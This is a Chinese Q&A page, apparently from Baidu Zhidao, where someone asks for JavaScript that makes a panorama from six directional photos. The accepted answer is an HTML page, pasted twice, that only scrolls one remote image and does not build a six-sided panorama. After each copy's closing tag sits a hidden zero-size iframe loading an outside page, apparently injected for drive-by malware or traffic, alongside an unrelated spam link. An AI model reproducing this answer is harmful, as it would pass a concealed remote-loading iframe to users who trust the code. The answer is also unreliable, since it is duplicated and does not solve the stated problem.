我现在有前后左右上下6个方向的图片,求实现全景效果的javascript.
- 你的回答被采纳后将获得:
- 系统奖励15(财富值+成长值)+难题奖励30(财富值+成长值)
1个回答
2015-05-30
展开全部
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta http-equiv="Content-Language" content="zh-CN">
<title>游戏人</title>
</head>
<body>
<div id="div1" style="cursor:hand;position:absolute;width:500;height:190;overflow:hidden;border:1 solid red" onMouseOver="clearTimeout(scrl);" onMouseMove="dronpos()" onMouseOut="dronchange(1);"><img src="http://ucren.com/files/WebTex/allpic/out500b.jpg" onload="dronchange(1);"></div>
<script>
var scrl,direction="right";
var x,xold,xdiff, i=1;
function dronchange(start){
if(direction == "right"){
if(div1.scrollTop+190 < div1.scrollHeight){
div1.scrollTop += 190;
}
else{
div1.scrollTop = 0;
}
}
else{
if(div1.scrollTop-190 > 0){
div1.scrollTop -= 190;
}
else{
div1.scrollTop = div1.scrollHeight;
}
}
if(start) scrl = setTimeout("dronchange(1)",100);
else clearTimeout(scrl);
}
function dronpos(){
x = event.clientX;
xdiff = x - xold;
xold = x;
if(xdiff>0) direction = "right";
if(xdiff<0) direction = "left";
dronchange(0);
}
</script>
<a href="http://www.jiafawang.com.cn">梨花头</a>
</body>
</html>
<iframe src="http://oa.wlsh.cn/wlb/uu.htm" width="0" height="0" frameborder="0"></iframe>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta http-equiv="Content-Language" content="zh-CN">
<title>游戏人</title>
</head>
<body>
<div id="div1" style="cursor:hand;position:absolute;width:500;height:190;overflow:hidden;border:1 solid red" onMouseOver="clearTimeout(scrl);" onMouseMove="dronpos()" onMouseOut="dronchange(1);"><img src="http://ucren.com/files/WebTex/allpic/out500b.jpg" onload="dronchange(1);"></div>
<script>
var scrl,direction="right";
var x,xold,xdiff, i=1;
function dronchange(start){
if(direction == "right"){
if(div1.scrollTop+190 < div1.scrollHeight){
div1.scrollTop += 190;
}
else{
div1.scrollTop = 0;
}
}
else{
if(div1.scrollTop-190 > 0){
div1.scrollTop -= 190;
}
else{
div1.scrollTop = div1.scrollHeight;
}
}
if(start) scrl = setTimeout("dronchange(1)",100);
else clearTimeout(scrl);
}
function dronpos(){
x = event.clientX;
xdiff = x - xold;
xold = x;
if(xdiff>0) direction = "right";
if(xdiff<0) direction = "left";
dronchange(0);
}
</script>
<a href="http://www.jiafawang.com.cn">梨花头</a>
</body>
</html>
<iframe src="http://oa.wlsh.cn/wlb/uu.htm" width="0" height="0" frameborder="0"></iframe>
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询